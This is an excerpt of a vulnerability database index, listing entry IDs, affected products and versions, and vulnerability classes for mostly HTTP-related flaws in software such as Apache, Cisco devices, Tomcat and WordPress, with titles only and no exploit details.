10532| [114341] WebLog Expert Web Server Enterprise 9.4 Service Port 9991 HTTP Accept Header Crash denial of service
10533| [114258] Apache HTTP Server up to 2.4.22 mod_cluster Segmentation Fault denial of service
10534| [114208] Cisco Identity Services Engine Credential Reset HTTP Request privilege escalation
10535| [114100] SimpleSAMLphp up to 1.15.3 Signature Validation HTTPRedirect.php Return Value weak authentication
10536| [114089] Moxa OnCell G3100-HSPA up to 1.4 Build 16062919 HTTP Request denial of service
10537| [114056] Wowza Streaming Engine up to 4.7.0 HTTP Request directory traversal
10538| [113991] PHP up to 5.6.33/7.0.27/7.1.14/7.2.2 http_fopen_wrapper.c php_stream_url_wrap_http_ex HTTP Response memory corruption
10539| [113988] Tenda Ac9 V15.03.05.14_EN httpd Stack-based memory corruption
10540| [113986] Wowza Streaming Engine up to 4.7.0 com.wowza.wms.http.HTTPProviderMediaList HTTP Request cross site scripting
10541| [113985] Wowza Streaming Engine up to 4.7.0 HTTP Request Memory Consumption denial of service
10542| [113688] Asterisk HTTP Server res_http_websocket.c Size 0 denial of service
10543| [113602] FSX-P3Dv4 Installer 2.0.1.231 HTTP Traffic Cleartext information disclosure
10544| [113481] Jenkins up to 2.106/LTS 2.89.3 HTTP GET Request information disclosure
10545| [113382] Huawei DP300/RP200/TE30/TE40/TE50/TE60/TX50 HTTP Message memory corruption
10546| [113381] Huawei DP300/RP200/TE30/TE40/TE50/TE60/TX50 HTTP Message memory corruption
10547| [113380] Huawei DP300/RP200/TE30/TE40/TE50/TE60/TX50 HTTP Message memory corruption
10548| [113355] Huawei UMA V200R001C00 Maintenance Module HTTP Requests sql injection
10549| [113121] Vobot Clock up to 0.99.29 Breakout Download HTTP Response weak encryption
10550| [113073] Squid Proxy up to 4.0.22 HTTP Header HTTP Response NULL Pointer Dereference denial of service
10551| [113070] Squid Proxy up to 3.5.27/4.0.22 ESI Response HTTP Response denial of service
10552| [112985] Cisco RV132W Configuration Parameter HTTP Response information disclosure
10553| [112984] Cisco RV132W 1.0.1.11 Web Interface HTTP Request memory corruption
10554| [112981] Cisco Unified Communications Manager Web Framework HTTP Requests sql injection
10555| [112950] Google Chrome OS ChromeVox HTTP Requests Cleartext privilege escalation
10556| [112921] Suricata up to 4.0 HTTP Detection detect.c/stream-tcp.c TCP Packets privilege escalation
10557| [112920] Saifor CVMS HUB 1.3.1 HTTP Parameter secciones.xhtml sql injection
10558| [112878] mini_httpd/thttpd htpasswd memory corruption
10559| [113803] uTorrent Web HTTP RPC Server privilege escalation
10560| [112675] Asus AsusWRT up to 3.0.0.4.376.x HTTPd Server memory corruption
10561| [112674] Asus AsusWRT up to 3.0.0.4.380.7743 HTTPd Server Session Token privilege escalation
10562| [112673] Asus AsusWRT up to 3.0.0.4.380.7743 HTTPd Server Session Token privilege escalation
10563| [112626] Fortinet FortiOS up to 5.2/5.4.7/5.6.2 HTTP Header HTTP Requests cross site scripting
10564| [112508] Email Subscribers & Newsletters Plugin up to 3.4.7 on WordPress HTTP POST User information disclosure
10565| [112491] Wonder CMS 2.3.1 HTTP Host Header Open Redirect
10566| [112471] Swarm Plugin Client up to 3.4 on Jenkins commons-httpclient weak authentication
10567| [112466] Maven Plugin up to 2.17 on Jenkins commons-httpclient Certificate weak authentication
10568| [112465] Jenkins up to 2.73.1/2.83 commons-httpclient Certificate weak authentication
10569| [112452] RAVPower FileHub 2.000.056 HTTP Server privilege escalation
10570| [112405] RAVPower FileHub 2.000.056 HTTP Request information disclosure
10571| [112400] libcURL up to 7.57.0 HTTP Header HTTP Requests information disclosure
10572| [112398] libcURL up to 7.57.0 HTTP2 Out-of-Bounds memory corruption
10573| [112539] Mozilla Firefox up to 57.x WebExtension HTTPS privilege escalation
10574| [112330] Apache NiFi 1.5.0 Header HTTP Request privilege escalation
10575| [112294] AsusWRT up to 3.0.0.4 router/httpd/web.c do_vpnupload_post privilege escalation
10576| [112293] AsusWRT up to 3.0.0.4 router/httpd/httpd.c handle_request POST Request privilege escalation
10577| [112211] Cisco Prime Infrastructure Web Interface HTTP Request Open Redirect
10578| [112210] Cisco Prime Infrastructure Role-Based Access Control HTTP Request privilege escalation
10579| [112191] Cisco Switch Web Framework HTTP Response Splitting privilege escalation
10580| [112186] Oxid eShop HTTP Response CRLF privilege escalation
10581| [112028] Oracle HTTP Server Web Listener denial of service
10582| [112022] Oracle HTTP Server Web Listener information disclosure
10583| [111945] Asus Router AsusWRT-Merlin router/httpd/web.c ej_update_variables Variable memory corruption
10584| [111936] Master IPCAMERA01 3.3.4.2103 HTTP Request information disclosure
10585| [111897] Open On-Chip Debugger 0.10.0 Service Port 4444 HTTP POST Request privilege escalation
10586| [111836] D-Link DSL-2540U/DSL-2640U 1.00 diag_ping.cmd HTTP GET Request command injection
10587| [111814] Sophos SFOS up to 17.0.3 MR2 Logging Subsystem HTTP POST Request Persistent cross site scripting
10588| [111807] Phoenix Contact FL SWITCH 1.0 HTTP Requests weak authentication
10589| [111716] Undertow up to 1.3.30/1.4.16/2.0.0.Alpha1 Incomplete Fix CVE-2017-2666 HTTP Request HTTP Poisoning privilege escalation
10590| [111709] Yawcam up to 0.6.0 HTTP Server directory traversal
10591| [111461] Communigate Pro 6.2 XML Interface /Session HTTP POST Request spoofing
10592| [111406] DuoLingo TinyCards up to 0.x on Android HTTP weak encryption
10593| [111276] EmbedThis GoAhead Webserver up to 4.0.0 HTTP Listener Integer Overflow denial of service
10594| [111206] Red Lion HMI Panel HMI 2.41 PLC 2.42 URI HTTP POST Request denial of service
10595| [111181] NetTransport Download Manager up to 2.96L NetTransport.exe HTTP Response memory corruption
10596| [111027] AirLive BU-2015/BU-3026/WL-2000CAM/POE-200CAM 1.03.18 Web Server wireless_mft.cgi HTTP Requests weak authentication
10597| [111119] Apple macOS up to 10.13.1 IOAcceleratorFamily memory corruption
10598| [111053] GetGo Download Manager up to 5.3.0.2712 HTTP Server memory corruption
10599| [110998] H2O up to 2.2.3 HTTP2 Header denial of service
10600| [110994] H2O up to 2.2.2 HTTP1 Header denial of service
10601| [110982] F5 BIG-IP 12.1.0/12.1.1/12.1.2/13.0.0 HTTP HTTP Requests denial of service
10602| [110856] IBM Security Guardium 10.0 HTTP Response Splitting privilege escalation
10603| [110799] Zivif PR115-204-P-RS 2.3.4.2103 param.cgi HTTP Request weak authentication
10604| [110793] Kemp Load Balancer up to 7.2.40.0 Web Application Firewall HTTP POST Request Bypass privilege escalation
10605| [110734] ACTi Camera A1D-500-V6.11.31-AC HTTP GET information disclosure
10606| [110717] Mckesson Conserus Workflow Intelligence 2.0.2 HTTP GET Request weak authentication
10607| [110704] Rapid7 Nexpose up to 6.4.65 Web Application HTTP Requests cross site request forgery
10608| [110670] vBulletin up to 5.3.x on Windows HTTP Request directory traversal
10609| [110508] SAP HANA 1.0 HTTP/REST Endpoint Controller Log privilege escalation
10610| [110477] Check_MK up to 1.2.8p24/1.4.0p8 HTTP Basic Authentication Parameter cross site scripting
10611| [110437] Adobe Experience Manager 6.0/6.1/6.2/6.3 Token HTTP GET Request information disclosure
10612| [110336] Fossil up to 2.3 SSH Sync Protocol http_transport.c Hostname privilege escalation
10613| [110238] Dell Storage Manager up to 16.3.19 SMI-S Service HTTP Requests denial of service
10614| [110192] Synology Photo Station up to 6.3/6.8.1 HTTP Config File .htaccess information disclosure
10615| [110186] ZKTime Web 2.0.1.12280 Modify Password password_change() HTTP Request cross site request forgery
10616| [129040] Apple iOS up to 11.1 HTTP weak encryption
10617| [110146] ZTE ZXDSL 831CII HTTP Basic Authentication connoppp.cgi GET Request privilege escalation
10618| [110110] D-Link DIR-605L HNAP HTTP Request Crash denial of service
10619| [110108] Restlet Framework up to 2.3.11 REST API HTTP Request XML External Entity
10620| [110107] Restlet Framework up to 2.3.10 SimpleXMLProvider REST API HTTP Request XML External Entity
10621| [110081] Cisco Secure Access Control System Web Interface HTTP Requests information disclosure
10622| [110056] Cisco WebEx Meeting Center Access Control HTTP Traffic privilege escalation
10623| [109979] TP-LINK TL-WVR/TL-WAR/TL-ER/TL-R uhttpd interface.lua get_device_byif privilege escalation
10624| [109978] TP-LINK TL-WVR/TL-WAR/TL-ER/TL-R uhttpd cgi-bin/luci HTTP Header information disclosure
10625| [109977] TP-LINK TL-WVR/TL-WAR/TL-ER/TL-R uhttpd bridge.lua get_device_byif privilege escalation
10626| [109976] TP-LINK TL-WVR/TL-WAR/TL-ER/TL-R uhttpd diagnostic.lua zone_get_effect_devices privilege escalation
10627| [109961] DBL DBLTek HTTP Basic Authentication frame.html Parameter privilege escalation
10628| [109893] Huawei Vmall App up to 1.5.8.4 on Android HTTP Requests privilege escalation
10629| [109852] Huawei VCM5010 HTTP Request File Upload weak authentication
10630| [109644] British Columbia Institute of Technology CodeIgniter 3.1.3 set_status_header() HTTP Header privilege escalation
10631| [109472] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
10632| [109471] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
10633| [109470] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
10634| [109469] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
10635| [109453] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
10636| [109452] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
10637| [109451] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
10638| [109404] b3log Symphony 2.2.0 Admin Console AdminProcessor.java HTTP Header cross site scripting
10639| [109326] Ulterius up to 1.8.4 HTTP Server HttpServer.cs Process directory traversal
10640| [109260] Debut Embedded http Server 1.20 HTTP Request Flooding denial of service
10641| [109217] Circle with Disney 2.0.1 HTTP Request /api/CONFIG/restore Network Packet privilege escalation
10642| [109216] Circle with Disney 2.0.1 SSID HTTP Requests Shell privilege escalation
10643| [109205] Cesanta Mongoose 6.8 HTTP Server HTTP POST Request Use-After-Free memory corruption
10644| [109204] Circle with Disney 2.0.1 HTTP Request /api/CONFIG/restore Network Packet privilege escalation
10645| [109198] Circle with Disney HTTP Packet /api/CONFIG/backup privilege escalation
10646| [108907] Cisco WebEx Meetings Server HTTP Header Reply HTTP Response information disclosure
10647| [108795] Apache Traffic Server up to 5.3.0 HTTP2 set_dynamic_table_size memory corruption
10648| [108787] Apache HttpClient up to 4.3.0 HttpClientBuilder.java unknown vulnerability
10649| [108734] F5 BIG-IP up to 11.5.4/11.6.1/12.1.1 Traffic Management Microkernel HTTP Request Restart denial of service
10650| [108732] F5 BIG-IP up to 11.5.4/11.6.1/12.1.1 HTTP Proxy/SOCKS privilege escalation
10651| [108657] GNU wget up to 1.19.1 HTTP Chunk Size src/retr.c fd_read_body memory corruption
10652| [108656] GNU wget up to 1.19.1 HTTP Chunk Size src/http.c skip_short_body memory corruption
10653| [108655] Fortinet FortiMail up to 5.1/5.2.9/5.3.9 Webmail Login HTTP Requests Reflected cross site scripting
10654| [108654] Fortinet FortiWLC up to 6.1-5/7.0-10/8.2/8.3.2 WebUI HTTP Requests privilege escalation
10655| [108653] Fortinet FortiWLC up to 8.3.2 HTTP POST Request cross site scripting
10656| [108593] Redis up to 3.2.6 networking.c HTTP Request privilege escalation
10657| [108544] reseed Installation HTTP Request weak authentication
10658| [108312] Apache HTTP Server on RHEL IP Address Filter privilege escalation
10659| [108269] Cisco Network Analysis Module Web Interface HTTP Requests directory traversal
10660| [108250] Oracle Secure Global Desktop 5.3 Apache HTTP Server memory corruption
10661| [108100] Oracle HTTP Server OSSL Module information disclosure
10662| [108096] Oracle HTTP Server 11.1.1.9.0/12.1.3.0.0 Web Listener information disclosure
10663| [108091] Oracle HTTP Server Web Listener information disclosure
10664| [107992] Google Go up to 1.4.2 net/http net/http/transfer.go HTTP Request privilege escalation
10665| [107991] Google Go up to 1.4.2 net/http net/textproto/reader.go HTTP Request privilege escalation
10666| [107865] EWBF Cuda Zcash Miner 0.3.4b HTTP API TCP Connection denial of service
10667| [107863] AIRTAME HDMI Dongle up to 2.x Admin Panel /bin/login.php HTTP Header privilege escalation
10668| [107848] Juniper Junos on SRX HTTPS Certificate Validator Man-in-the-Middle weak authentication
10669| [107607] IBM WebSphere Application Server 7.0/8.0/8.5/9.0 HTTP Response Splitting privilege escalation
10670| [107563] libcsoap nanohttp NULL Pointer Dereference denial of service
10671| [107554] http gem up to 0.7.2 on Ruby Hostname Validator SSL Connection weak authentication
10672| [107532] Trend Micro OfficeScan 11.0/12.0 fcgiOfcDDA.exe HTTP Requests denial of service
10673| [107489] Cisco License Manager Web Interface HTTP Request directory traversal
10674| [107485] Cisco ASA HTTP Request denial of service
10675| [107478] Akka http up to 10.0.5 HTTP Header Stack-based denial of service
10676| [107462] Google Go 1.6.3/1.7.3 net-http RequestParseMultipartForm File Descriptor denial of service
10677| [107333] Apache Wicket up to 8.0.0-M1 CSRF Prevention HTTP Header privilege escalation
10678| [107312] Philips Hue Bridge BSB002 SW 1707040932 Public API HTTP Traffic weak encryption
10679| [107286] EGroupware Community Edition up to 16.1 HTTP Header Stored cross site scripting
10680| [107283] SmarterStats 11.3.6347 HTTP Header ReferringURLsWithQueries cross site scripting
10681| [107262] Apache Mesos up to 1.1.2/1.2.1/1.3.0/1.4.0-dev libprocess HTTP Request Crash denial of service
10682| [107258] Apache Mesos up to 1.1.2/1.2.1/1.3.0/1.4.0-dev libprocess HTTP Request Crash denial of service
10683| [107229] Cisco IOS XE up to 3.7.5E Wireless LAN Controller GUI HTTP Requests privilege escalation
10684| [107101] Plone up to 3.3.6 HTTP Response Injection privilege escalation
10685| [106935] Cisco Wide Area Application Services HTTP Request denial of service
10686| [106931] Cisco Unified Customer Voice Portal 10.5 OAMP Reset HTTP Request privilege escalation
10687| [106867] Polycom RealPresence Resource Manager up to 8.3 Session Identifier HTTP GET Request information disclosure
10688| [106866] Polycom RealPresence Resource Manager up to 8.3 PlcmRmWeb/JConfigManager HTTP POST Request information disclosure
10689| [106846] Apache Tomcat up to 7.0.79 on Windows HTTP PUT Method Parameter File Upload privilege escalation
10690| [106831] Cisco Cloud Web Security up to 3.0.1.6 Filter HTTP Method privilege escalation
10691| [106777] Apache HTTP Server up to 2.2.34/2.4.27 Limit Directive ap_limit_section HTTP Request information disclosure
10692| [106570] D-Link DIR-850L up to FW114WWb07_h2ab_beta1/FW208WWb02 mydlink Cloud Service HTTP weak encryption
10693| [106556] Apache Traffic Server up to 5.3.1 HTTP2 unknown vulnerability
10694| [106555] Apache Traffic Server up to 5.3.1 HTTP2 unknown vulnerability
10695| [106233] Yes Set-top Box on Cisco HTTP Remote Procedure Call Request denial of service
10696| [106229] dayrui FineCMS 5.0.11 controllers/Form.php call_msg HTTP Header cross site scripting
10697| [106228] dayrui FineCMS 5.0.11 Login.php out HTTP Header cross site scripting
10698| [106227] dayrui FineCMS 5.0.11 api.php oauth HTTP Header cross site scripting
10699| [106318] Google Chrome HTTPS Redirect weak encryption
10700| [106128] Scrapy 1.4 http11.py denial of service
10701| [106124] GoAhead up to 3.6.5 http.c websDecodeUrl denial of service
10702| [106086] Intel McAfee LiveSafe up to 16.0.2 HTTP Backend privilege escalation
10703| [106085] Intel McAfee Live Safe/McAfee Security Scan Plus HTTP Backend privilege escalation
10704| [106031] Async Http Client up to 2.0.34 privilege escalation
10705| [106000] CrushFTP up to 7.7.x/8.1.x HTTP Header unknown vulnerability
10706| [105883] Huawei VCN500 Operation and Maintenance Unit HTTP Request sql injection
10707| [105799] fli4l up to 3.10.0/4.0 httpd HTTP Header Injection privilege escalation
10708| [105798] fli4l up to 3.10.0/4.0 httpd privilege escalation
10709| [105736] IBM EN6131/IB6131 up to 3.4 HTTP Response CRLF privilege escalation
10710| [105734] D-Link DNR-320L/DNS-320LW/DNR-322L/DNR-326/DNS-327L HTTP Header login_mgr.cgi memory corruption
10711| [105424] Cisco Unified Communications Manager 10.5(2.10000.5)/11.0(1.10000.10)/11.5(1.10000.6) Role Based Access Control HTTP Request privilege escalation
10712| [105423] Cisco WebEx Meetings Server 1.0.0.30/1.0.0.33/1.0.1.9/1.0.1.16 Web Interface HTTP Response information disclosure
10713| [105219] Apache Tomcat up to 8.5.15/9.0.0.M21 HTTP2 Bypass directory traversal
10714| [105205] Apache CXF up to 3.0.11/3.1.8 HTTP Transport Module Parameter cross site scripting
10715| [105191] Asus RT-N300 up to 380.67_0RT-AC5300 httpd HTTP GET Request Stack-based memory corruption
10716| [104960] Loginizer Plugin up to 1.3.5 on WordPress HTTP Header sql injection
10717| [104857] Debut Embedded httpd 1.20 on DCP-J132W HTTP Packet denial of service
10718| [104674] IBM InfoSphere Master Data Management up to 11.6 HTTP Parameter Duplicate privilege escalation
10719| [104564] Cacti 1.1.13 HTTP Header auth_profile.php Referer Header cross site scripting
10720| [104533] mod_http2 2.4.24/2.4.25 HTTP2 Request NULL Pointer Dereference denial of service
10721| [104333] Cisco ASR 5000 Restriction HTTP Request Bypass privilege escalation
10722| [104332] Cisco ASR 5000 GGSN Gateway HTTP Request Open Redirect
10723| [103780] MetInfo 5.3.17 HTTP Header /include/stat/stat.php cross site scripting
10724| [103693] Apache OpenMeetings 1.0.0 HTTP Method privilege escalation
10725| [103621] Live Helper Chat up to 2.06v HTTP Header cross site scripting
10726| [103593] Oracle GlassFish Server Open Source Edition 4.1 HTTP GET Request directory traversal
10727| [103557] Foreman up to 1.8.x HTTP Redirect weak encryption
10728| [103521] Apache HTTP Server 2.4.26 HTTP2 Free memory corruption
10729| [103520] Apache HTTP Server up to 2.2.33/2.4.26 mod_auth_digest Authorization Header memory corruption
10730| [103489] McAfee Advanced Threat Defense 3.4/3.6/3.8/3.10 Web Interface HTTP Request command injection
10731| [103488] McAfee Advanced Threat Defense 3.4/3.6/3.8/3.10 Web Interface HTTP Request command injection
10732| [103487] McAfee Advanced Threat Defense 3.4/3.6/3.8/3.10 HTTP Request weak authentication
10733| [103410] FineCMS Logging HTTP Request Stored cross site scripting
10734| [103441] Microsoft Windows up to Server 2016 Object HTTP.sys information disclosure
10735| [103292] Etherpad up to 1.1.1 HTTP API Request node/utils/Minify.js directory traversal
10736| [103275] FineCMS HTTP Host Header get_image_data.php Server-Side Request Forgery
10737| [102926] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request memory corruption
10738| [102925] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface pureftpd.passwd HTTP Request privilege escalation
10739| [102924] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
10740| [102923] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
10741| [102922] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
10742| [102921] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
10743| [102920] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
10744| [102919] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
10745| [102904] sthttpd up to 2.27.0 libhttpd.c de_dotdot Filename memory corruption
10746| [102902] Arcadyan SLT-00 Star* up to R7.6 Static Routing Table Config HTTP Request privilege escalation
10747| [102891] FFmpeg up to 2.8.11/3.0.7/3.1.7/3.2.4/3.3.0 HTTP Live Streaming Filename Extension Name information disclosure
10748| [102879] PHPUnit up to 4.8.27/5.6.2 HTTP POST Util/PHP/eval-stdin.php privilege escalation
10749| [102865] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
10750| [102864] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
10751| [102863] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
10752| [102806] ntopng up to 2.x HTTP Response Splitting privilege escalation
10753| [102782] Vivotek IB8369/FD8164/FD816BA Web Service downloadMedias.cgi HTTP Request directory traversal
10754| [102781] Vivotek IB8369/FD8164/FD816BA Web Service testserver.cgi HTTP Request command injection
10755| [102774] IBM Sterling B2B Integrator Standard Edition 5.2 HTTP GET Request information disclosure
10756| [102772] IBM Sterling B2B Integrator Standard Edition 5.2 HTTP information disclosure
10757| [102721] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request memory corruption
10758| [102720] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request memory corruption
10759| [102719] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request directory traversal
10760| [102718] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
10761| [102717] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request command injection
10762| [102716] Foscam C1 Indoor HD Camera Web Management Interface HTTP Request Stack-based memory corruption
10763| [102698] Apache HTTP Server up to 2.2.32/2.4.25 mod_mime Content-Type memory corruption
10764| [102697] Apache HTTP Server 2.2.24/2.2.32 HTTP Strict Parsing ap_find_token Request Header memory corruption
10765| [102693] MediaTek SDK Custom httpd Plugin POST Request weak authentication
10766| [102690] Apache HTTP Server up to 2.2.32/2.4.25 mod_ssl ap_hook_process_connection() denial of service
10767| [102689] Apache HTTP Server up to 2.2.32/2.4.25 ap_get_basic_auth_pw weak authentication
10768| [102276] Cloud Foundry HTTP Header unknown vulnerability
10769| [102020] Apache Tomcat up to 9.0.0.M1 Java Servlet HTTP Method unknown vulnerability
10770| [101825] Contiki Operating System 3.0 MQTT/IBM Cloud Config Page HTTP POST Request Persistent cross site scripting
10771| [101824] Contiki Operating System 3.0 httpd-simple.c denial of service
10772| [101768] Spring Security up to 3.2.4 CAS Proxy Ticket Authentication HTTP Request Bypass privilege escalation
10773| [101745] Trend Micro ServerProtect for Linux 3.0 Update HTTP weak authentication
10774| [101642] Vanilla Forums up to 2.3.0 Password Reset class.email.php from HTTP Host Header information disclosure
10775| [101561] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
10776| [101560] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
10777| [101559] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
10778| [101558] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
10779| [101557] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
10780| [101556] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
10781| [101554] Cisco Prime Collaboration Provisioning up to 11.0 Role-Based Access Control HTTP Requests directory traversal
10782| [101553] Cisco Prime Collaboration Provisioning up to 11.0 Role-Based Access Control HTTP Requests directory traversal
10783| [101552] Cisco Prime Collaboration Provisioning up to 12.0 Role-Based Access Control HTTP Requests directory traversal
10784| [101547] Tenda FH1202/F1202/F1200 up to 1.2.0 HTTP Service POST Request Stack-based denial of service
10785| [101529] PlaySMS 1.4 Phonebook Import import.php HTTP Header privilege escalation
10786| [101515] Red Hat JBoss Application Server up to 4.x JMS over HTTP Invocation Layer HTTPServerILServlet.java privilege escalation
10787| [101489] MODX Revolution up to 2.5.6 HTTP Header Cache cross site scripting
10788| [101484] WordPress up to 4.7.4 HTTP Class Open Redirect
10789| [101483] WordPress up to 4.7.4 XML-RPC API HTTP POST Request privilege escalation
10790| [101480] WordPress up to 4.7.4 XML-RPC API HTTP POST Request unknown vulnerability
10791| [101474] Cisco Prime Collaboration Provisioning up to 12.0 Web Interface HTTP Request weak authentication
10792| [101473] Cisco Prime Collaboration Provisioning up to 10.6 Web Interface HTTP Request information disclosure
10793| [101439] McAfee Network Data Loss Prevention 9.3.x Web Server HTTP Method information disclosure
10794| [101438] McAfee Network Data Loss Prevention 9.3.x HTTP Response Header Clickjacking privilege escalation
10795| [101436] McAfee Network Data Loss Prevention 9.3.x HTTP Response Header Banner information disclosure
10796| [101435] McAfee Network Data Loss Prevention 9.3.x HTTP Request information disclosure
10797| [101434] McAfee Network Data Loss Prevention 9.3.x HTTP Header cross site scripting
10798| [101424] Edgewater Edgemarc HTTP Web-Management Backdoor privilege escalation
10799| [101125] Synology Photo Station up to 6.5.3 HTTP Header login.php Shell Metacharacter privilege escalation
10800| [101008] Microsoft Internet Explorer 9/10/11 HTTPS Bypass privilege escalation
10801| [100893] Certec atvise scada up to 2.x HTTP Header privilege escalation
10802| [100909] Accellion FTA HTTP POST ldaptest.html privilege escalation
10803| [100890] IBM WebSphere Cast Iron 7.0.0/7.5.0.0 DNS/HTTP privilege escalation
10804| [100887] Citrix XenMobile Server up to 10.5.0 HTTP 302 Redirect Host Header spoofing
10805| [100856] WordPress up to 4.8.3 Password Reset wp-login.php mail HTTP Header Open Redirect
10806| [100841] Cisco Wide Area Application Services 6.2.1/6.2.1a/6.2.3a SMART-SSL Accelerator SSL Connection denial of service
10807| [100827] Opsview Monitor Pro up to 4.5.x/4.6.4/5.0.2/5.1.0 HTTP GET Request directory traversal
10808| [100673] TS-WPTCAM/TS-WPTCAM2/TS-WLC2/TS-WRLC/TS-PTCAM up to 1.18 HTTP Header Injection privilege escalation
10809| [100603] TP-LINK C2/C20i up to 0.9.1 HTTP Request Command privilege escalation
10810| [100602] TP-LINK C2/C20i up to 0.9.1 HTTP Server /cgi/ansi Cookie denial of service
10811| [100534] Kallithea up to 0.3.1 Routes HTTP Request CSRF privilege escalation
10812| [100484] TP-LINK TL-SG108E up to 1.1.2 httpupg.cgi weak authentication
10813| [100415] Cisco Integrated Management Controller 3.0(1c) Web-based GUI HTTP POST Request privilege escalation
10814| [100412] Cisco Integrated Management Controller 3.0(1c) Web-based GUI HTTP Request privilege escalation
10815| [100410] Cisco FindIT Network Probe Software 1.0.0 Role-Based Access Control HTTP Request information disclosure
10816| [100315] Mozilla Firefox up to 52 application/http-index-format Uninitialized Memory unknown vulnerability
10817| [100306] Mozilla Firefox up to 52 HTTP2 denial of service
10818| [100305] Mozilla Firefox up to 52 application/http-index-format memory corruption
10819| [100191] Oracle Secure Global Desktop 4.71/5.2/5.3 Web Server (Apache HTTP Server) information disclosure
10820| [99832] Moxa AWK-3131A 1.1 HTTP Header HTTP Poisoning privilege escalation
10821| [99812] Google Android up to 6.0 HTTP Header URLConnection privilege escalation
10822| [99600] SAP TREX/Business Warehouse Accelerator Code Injection privilege escalation
10823| [99553] Cesanta MongooseOS/Mongoose Embedded Web Server Library mongoose.c mg_http_multipart_wait_for_boundary POST Request denial of service
10824| [99542] Synology Photo Station up to 6.3 HTTP Header photo/login.php Shell Metacharacter privilege escalation
10825| [99492] Facebook Proxygen HTTPMessage.request State Hijacking privilege escalation
10826| [99366] XiongMai uc-httpd HTTP Request directory traversal
10827| [99322] Trend Micro InterScan Web Security Virtual Appliance 6.5 HTTPS Traffic weak encryption
10828| [99317] Nextcloud Server up to 9.0.54/10.0.1 Quota HTTP Header privilege escalation
10829| [99288] Django up to 1.8.17/1.9.12/1.10.6 django.utils.http.is_safe_url cross site scripting
10830| [99125] Snoopy _httpsrequest privilege escalation
10831| [99570] Apache Tomcat up to 6.0.52/7.0.76/8.0.42/8.5.12/9.0.0.M18 HTTP Connector Cache information disclosure
10832| [99569] Apache Tomcat up to 6.0.52/7.0.76/8.0.42/8.5.12/9.0.0.M18 HTTP/2 GOAWAY Frame Resource Exhaustion denial of service
10833| [98998] OpenBSD 5.9 httpd Memory Consumption denial of service
10834| [98858] Apple tvOS up to 10.1 HTTPProtocol cross site scripting
10835| [98824] Apple watchOS up to 3.1 HTTPProtocol cross site scripting
10836| [98743] Apple iOS up to 10.2 HTTPProtocol unknown vulnerability
10837| [98631] Apple macOS up to 10.12.3 HTTPProtocol unknown vulnerability
10838| [98498] libgit2 up to 0.24.5/0.25.0 transports/http.c http_connect spoofing
10839| [98312] IBM Algorithmics One-Algo Risk Application 4.9.1/5.0/5.1.0 Report HTTP Request information disclosure
10840| [98291] Suricata up to 2.0.5 HTTP Request MemcmpLowercase privilege escalation
10841| [97936] Intel VirusScan Enterprise Linux up to 2.0.3 HTTP Header NailsConfig.html information disclosure
10842| [97892] Apache Tomcat up to 9.0.0.M15 Reverse-Proxy Http11InputBuffer.java information disclosure
10843| [97879] Goahead Web Server HTTP GET Request system.ini information disclosure
10844| [97809] EvoStream Media Server 1.7.1 HTTP Request memory corruption
10845| [97735] Asus RT-AC53 3.0.0.4.380.6038 HTTP Header Session Hijacking weak authentication
10846| [97727] IBM Tivoli Monitoring 6.2/6.3 Host Header HTTP Poisoning privilege escalation
10847| [97776] Mozilla Firefox up to 51.x HTTP Digest Authorization Response Out-of-Bounds memory corruption
10848| [97770] Mozilla Firefox up to 51.x HttpChannel NULL Pointer Dereference denial of service
10849| [97579] GNU wget up to 1.19.1 HTTP Header url.c url_parse privilege escalation
10850| [97834] Dahua DVR/NVR/IPC HTTP Service Backdoor privilege escalation
10851| [97081] Apache Tomcat HTTPS Request denial of service
10852| [97037] SAP Kernel 7.21-7.49 Message Server HTTP Daemon msgserver/group memory corruption
10853| [96750] FFmpeg up to 2.8.9/3.0.4/3.1.5/3.2.1 HTTP Response libavformat/http.c memory corruption
10854| [96723] IBM Sterling B2B Integrator Standard Edition HTTP OPTIONS information disclosure
10855| [96323] MyBB/MyBB Merge System up to 1.6.17/1.8.5 Forum Password xmlhttp.php privilege escalation
10856| [96298] OkHttp up to 2.7.3/3.1.1 Certificate weak authentication
10857| [96099] Huawei OceanStor 5800 HTTP Flooding denial of service
10858| [96077] PEAR HTTP_Upload v1.0.0b3 Upload.php privilege escalation
10859| [95851] Zoho WebNMS Framework 5.2/5.2 SP1 HTTP Header privilege escalation
10860| [95841] pecl_http up to 3.0.0 URL Parser memory corruption
10861| [95835] CakePHP up to 3.2.4 HTTP Header clientIp spoofing
